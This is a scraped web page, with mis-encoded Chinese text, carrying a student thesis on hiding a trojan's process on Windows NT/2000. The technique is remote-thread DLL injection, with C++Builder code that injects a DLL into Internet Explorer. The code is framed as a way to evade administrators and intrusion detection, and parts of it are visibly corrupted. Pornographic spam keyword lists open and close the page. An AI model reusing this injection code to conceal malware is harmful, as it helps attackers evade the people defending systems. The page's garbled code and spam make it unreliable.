99精品久久这里只有精品,三上悠亚免费一区二区在线,91精品福利一区二区,爱a久久片,无国产精品白浆免费视,中文字幕欧美一区,爽妇网国产精品,国产一级做a爱免费观看,午夜一级在线,国产精品偷伦视频免费手机播放

    <del id="eyo20"><dfn id="eyo20"></dfn></del>
  • <small id="eyo20"><abbr id="eyo20"></abbr></small>
      <strike id="eyo20"><samp id="eyo20"></samp></strike>
    • 首頁 > 文章中心 > 正文

      計(jì)算機(jī)畢業(yè)Windows NT2000系統(tǒng)下進(jìn)程隱藏

      前言:本站為你精心整理了計(jì)算機(jī)畢業(yè)Windows NT2000系統(tǒng)下進(jìn)程隱藏范文,希望能為你的創(chuàng)作提供參考價(jià)值,我們的客服老師可以幫助你提供個(gè)性化的參考范文,歡迎咨詢。

      計(jì)算機(jī)畢業(yè)Windows&nbspNT2000系統(tǒng)下進(jìn)程隱藏

      計(jì)算機(jī)畢業(yè)論文

      摘要進(jìn)程的隱藏一直是木馬程序設(shè)計(jì)者不斷探求的重要技術(shù),本文采用遠(yuǎn)程線程技術(shù),通過動(dòng)態(tài)鏈接庫方法,較好地解決了這一問題,通過遠(yuǎn)程線程將木馬作為線程隱藏在其他進(jìn)程中,從而達(dá)到隱藏的目的。

      關(guān)鍵字進(jìn)程線程木馬動(dòng)態(tài)鏈接庫

      木馬程序(也稱后門程序)是能被控制的運(yùn)行在遠(yuǎn)程主機(jī)上的程序,由于木馬程序是運(yùn)行在遠(yuǎn)程主機(jī)上,所以進(jìn)程的隱藏?zé)o疑是大家關(guān)心的焦點(diǎn)。

      本文分析了WindowsNT/2000系統(tǒng)進(jìn)程隱藏的基本技術(shù)和方法,并著重討論運(yùn)用線程嫁接技術(shù)如何實(shí)現(xiàn)WindowsNT/2000系統(tǒng)中進(jìn)程的隱藏。

      1基本原理

      在WIN95/98中,只需要將進(jìn)程注冊為系統(tǒng)服務(wù)就能夠從進(jìn)程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動(dòng)文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務(wù)管理器,WindowsNT/2000的任務(wù)管理器均能輕松顯示出木馬進(jìn)程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進(jìn)程了?我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運(yùn)行時(shí)都有一個(gè)共同點(diǎn),會(huì)生成一個(gè)獨(dú)立的進(jìn)程,尋找特定進(jìn)程是我們發(fā)現(xiàn)木馬的方法之一,隨著入侵檢測軟件的不斷發(fā)展,關(guān)聯(lián)進(jìn)程和SOCKET已經(jīng)成為流行的技術(shù),假設(shè)一個(gè)木馬在運(yùn)行時(shí)被檢測軟件同時(shí)查出端口和進(jìn)程,我們基本上認(rèn)為這個(gè)木馬的隱藏已經(jīng)完全失敗。在WindowsNT/2000下正常情況用戶進(jìn)程對于系統(tǒng)管理員來說都是可見的,要想做到木馬的進(jìn)程隱藏,有兩個(gè)辦法,第一是讓系統(tǒng)管理員看不見你的進(jìn)程;第二是不使用進(jìn)程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠(yuǎn)程進(jìn)程之中,遠(yuǎn)程進(jìn)程則是合法的用戶程序,這樣用戶管理者看到的只是合法進(jìn)程,而無法發(fā)現(xiàn)木馬線程的存在,從而達(dá)到隱藏的目的。

      2實(shí)現(xiàn)方法

      為了弄清實(shí)現(xiàn)方法,我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL,DLL是DynamicLinkLibrary(動(dòng)態(tài)鏈接庫)的縮寫,DLL文件是Windows的基礎(chǔ),因?yàn)樗械腁PI函數(shù)都是在DLL中實(shí)現(xiàn)的。DLL文件沒有程序邏輯,是由多個(gè)功能函數(shù)構(gòu)成,它并不能獨(dú)立運(yùn)行,一般都是由進(jìn)程加載并調(diào)用的。因?yàn)镈LL文件不能獨(dú)立運(yùn)行,所以在進(jìn)程列表中并不會(huì)出現(xiàn)DLL,假設(shè)我們編寫了一個(gè)木馬DLL,并且通過別的進(jìn)程來運(yùn)行它,那么無論是入侵檢測軟件還是進(jìn)程列表中,都只會(huì)出現(xiàn)那個(gè)進(jìn)程而并不會(huì)出現(xiàn)木馬DLL,如果那個(gè)進(jìn)程是可信進(jìn)程,(例如瀏覽器程序IEXPLORE.EXE,沒人會(huì)懷疑它是木馬吧?)那么我們編寫的DLL作為那個(gè)進(jìn)程的一部分,也將成為被信賴的一員,也就達(dá)到了隱藏的目的。

      運(yùn)行DLL方法有多種,但其中最隱蔽的方法是采用動(dòng)態(tài)嵌入技術(shù),動(dòng)態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運(yùn)行的進(jìn)程中的技術(shù)。理論上來說,在Windows中的每個(gè)進(jìn)程都有自己的私有內(nèi)存空間,別的進(jìn)程是不允許對這個(gè)私有空間進(jìn)行操作的,但是實(shí)際上,我們?nèi)匀豢梢岳梅N種方法進(jìn)入并操作進(jìn)程的私有內(nèi)存。動(dòng)態(tài)嵌入技術(shù)有多種如:窗口Hook、掛接API、遠(yuǎn)程線程等,這里介紹一下遠(yuǎn)程線程技術(shù),它只要有基本的進(jìn)線程和動(dòng)態(tài)鏈接庫的知識(shí)就可以很輕松地完成動(dòng)態(tài)嵌入。

      遠(yuǎn)程線程技術(shù)指的是通過在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。我們知道,在進(jìn)程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進(jìn)程啟動(dòng)時(shí)被同時(shí)自動(dòng)建立的那個(gè)線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個(gè)進(jìn)程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程(是遠(yuǎn)程進(jìn)程)的地址空間,所以,實(shí)際上,我們通過一個(gè)遠(yuǎn)程線程,進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了那個(gè)遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。

      3實(shí)施步驟

      1)用Process32Next()函數(shù)找到宿主進(jìn)程,獲取宿主進(jìn)程ID,并用

      OpenProcess()函數(shù)打開宿主進(jìn)程。

      2)用VirtualAllocEx()函數(shù)分配遠(yuǎn)程進(jìn)程地址空間中的

      內(nèi)存。

      3)用WriteProcessMemory()函數(shù)將待隱藏的DLL的路徑名。

      4)拷貝到步驟二已經(jīng)分配的內(nèi)存中。

      5)用GetProcAddress()函數(shù)獲取LoadlibraryA()函數(shù)的實(shí)地址(在kernel32.dll中)。

      6)用CreateRemoteThread()函數(shù)在遠(yuǎn)程進(jìn)程中創(chuàng)建一個(gè)線程。

      7)它調(diào)用正確的LoadlibraryA()函數(shù)。

      8)為它傳遞步驟二中分配的內(nèi)存地址。

      4具體實(shí)例

      下面是在C++Builder4.0環(huán)境下編寫的運(yùn)用遠(yuǎn)程線程技術(shù)隱藏木馬的程序代碼:

      #include<vcl.h>

      #include<windows.h>

      #include<stdio.h>

      #include<tlhelp32.h>//該頭文件包涵了進(jìn)程操作的API函數(shù)

      #pragmahdrstop

      #include"Unit1.h"

      #pragmapackage(smart_init)

      #pragmaresource"*.dfm"

      InsistingpszLibFileName;//存放待隱藏的DLL文件名

      HANDLEhProcessSnap=NULL;//進(jìn)程快照句柄

      HANDLEhRemoteProcess;//遠(yuǎn)程進(jìn)程句柄

      LPVOIDpszLibFileRemote;//遠(yuǎn)程進(jìn)程中分配給文件名的空間

      HMODULEphmd;//存放kernel32.dll句柄

      HANDLEhRemoteThread1=NULL;//存放遠(yuǎn)程線程句柄

      TForm1*Form1;

      //---------------------------------------------------------

      __fastcallTForm1::TForm1(TComponent*Owner)

      :TForm(Owner)

      {

      }

      //---------------------------------------------------------

      void__fastcallTForm1::Button1Click(TObject*Sender

      {

      PROCESSENTRY32pe32={0};

      DWORDdwRemoteProcessId;

      hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

      //打開進(jìn)程快照

      if(hProcessSnap==(HANDLE)-1)

      {

      MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

      exit(0);

      }//失敗返回

      pe32.dwSize=sizeof(PROCESSENTRY32);

      if(Process32Fi

      rst(hProcessSnap,&pe32))//獲取第一個(gè)進(jìn)程

      {

      do{

      AnsiStringte;

      te=pe32.szExeFile;

      if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

      //找到宿主進(jìn)程,以IEXPLORE.EXE為例

      {dwRemoteProcessId=pe32.th32ProcessID;

      break;

      }

      }

      while(Process32Next(hProcessSnap,&pe32));//獲取下一個(gè)進(jìn)程

      }

      else

      {

      MessageBox(NULL,"取第一個(gè)進(jìn)程失敗","",MB_OK);

      exit(0);

      }

      hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

      _OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

      //打開遠(yuǎn)程進(jìn)程

      pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

      //假設(shè)hide.dll是待隱藏的進(jìn)程

      intcb=(1+pszLibFileName.Length())*sizeof(char);//計(jì)算dll文件名長度

      pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

      MEM_COMMIT,PAGE_READWRITE);

      //申請存放文件名的空間

      BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

      pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

      //把dll文件名寫入申請的空間

      phmd=GetModuleHandle("kernel32.dll");

      LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

      GetProcAddress(phmd,"LoadLibraryA");

      //獲取動(dòng)態(tài)鏈接庫函數(shù)地址

      hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

      pfnStartAddr,pszLibFileRemote,0,NULL);

      //創(chuàng)建遠(yuǎn)程線

      if(hRemoteThread1!=NULL)

      CloseHandle(hRemoteThread1);//關(guān)閉遠(yuǎn)程線程

      if(hProcessSnap!=NULL)

      CloseHandle(hProcessSnap);//關(guān)閉進(jìn)程快照

      }

      該程序編譯后命名為RmtDll.exe,運(yùn)行時(shí)點(diǎn)擊界面上的按鈕即可。

      至此,遠(yuǎn)程嵌入順利完成,為了試驗(yàn)我們的hide.dll是不是已經(jīng)正常地在遠(yuǎn)程線程運(yùn)行,我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測試:

      nclude<vcl.h>

      #include<windows.h>

      #pragmahdrstop

      #pragmaargsused

      BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

      {

      charszProcessId[64];

      switch(reason)

      {

      caseDLL_PROCESS_ATTACH:

      {//獲取當(dāng)前進(jìn)程ID

      itoa(GetCurrentProcessId(),szProcessId,10);

      MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

      break;

      }

      default:

      }

      returnTRUE;

      }

      當(dāng)使用RmtDll.exe程序?qū)⑦@個(gè)hide.dll嵌入IEXPLORE.EXE進(jìn)程后假設(shè)PID=1208),該測試DLL彈出了1208字樣的確認(rèn)框,同時(shí)使用PS工具

      也能看到:

      ProcessID:1208

      C:\WINNT\IEXPLORE.EXE(0x00400000)

      ……

      C:\WINNT\hide.dll(0x100000000)

      ……

      這證明hide.dll已經(jīng)在IEXPLORE.EXE進(jìn)程內(nèi)正確地運(yùn)行了。上面程序的頭文件由編譯器自動(dòng)生成,未作改動(dòng),故略之。

      5結(jié)束語

      進(jìn)程隱藏技術(shù)和方法有很多,而且這一技術(shù)發(fā)展也相當(dāng)快,本文僅從一個(gè)側(cè)面加以討論,希望通過這一探討讓我們對進(jìn)程隱藏技術(shù)有一個(gè)更清楚的認(rèn)識(shí),同時(shí)也為我們防范他人利用進(jìn)程隱藏手段非法入侵提供參考,本文拋磚引玉,不當(dāng)之處誠懇批評指正。

      參考文獻(xiàn)

      1JeffreyRichter著王建華、張煥生、侯麗坤等譯Windows核心編程機(jī)械工業(yè)出版社2

      K.賴斯多夫H.亨德森著希望圖書創(chuàng)作室譯BorlandC++Builder實(shí)用培訓(xùn)教程

      文檔上傳者

      相關(guān)期刊

      計(jì)算機(jī)

      省級期刊 審核時(shí)間1個(gè)月內(nèi)

      長江計(jì)算機(jī)(集團(tuán))公司

      現(xiàn)代計(jì)算機(jī)

      省級期刊 審核時(shí)間1個(gè)月內(nèi)

      中山大學(xué)

      計(jì)算機(jī)周刊

      省級期刊 審核時(shí)間1個(gè)月內(nèi)

      長江計(jì)算機(jī)(集團(tuán))公司

      国产小车还是日产的好| 精品亚洲一区二区三洲| 人妻少妇中文字幕久久 | av 日韩 人妻 黑人 综合 无码| 久久天天躁狠狠躁夜夜爽| 精品欧洲AV无码一区二区免费| 日本成人精品一区二区三区| 亚洲 日本 欧美 中文幕| 色伦专区97中文字幕| 欧美色图50p| 亚洲精品国产熟女久久久| а天堂中文在线官网在线| 国产精品天天在线午夜更新| 亚洲一区二区高清精品| 看国产亚洲美女黄色一级片| 亚洲熟妇色自偷自拍另类| 国产又色又爽无遮挡免费| 日韩在线不卡一区在线观看| 日韩av一区二区蜜桃| 在办公室被c到呻吟的动态图| 久久人人爽人人爽人人av东京热| 成人无码激情视频在线观看| 国产精品亚洲一区二区三区在线| 五月天国产成人av免费观看| 亚洲影院天堂中文av色| 精品人妻av一区二区三区不卡| 极品一区二区在线视频| 久久精品无码av| 亚洲精品有码在线观看| 日本一区不卡在线观看| 亚洲av永久无码精品网站| 午夜丰满少妇性开放视频| 亚洲欧美成人在线免费| 亚洲视频专区一区二区三区| 任我爽精品视频在线播放| 国产人妻久久精品二区三区特黄| 亚洲AV无码永久在线观看| 亚洲av极品尤物不卡在线观看| 又紧又大又爽精品一区二区| 日韩高清在线观看永久| 少妇的诱惑免费在线观看|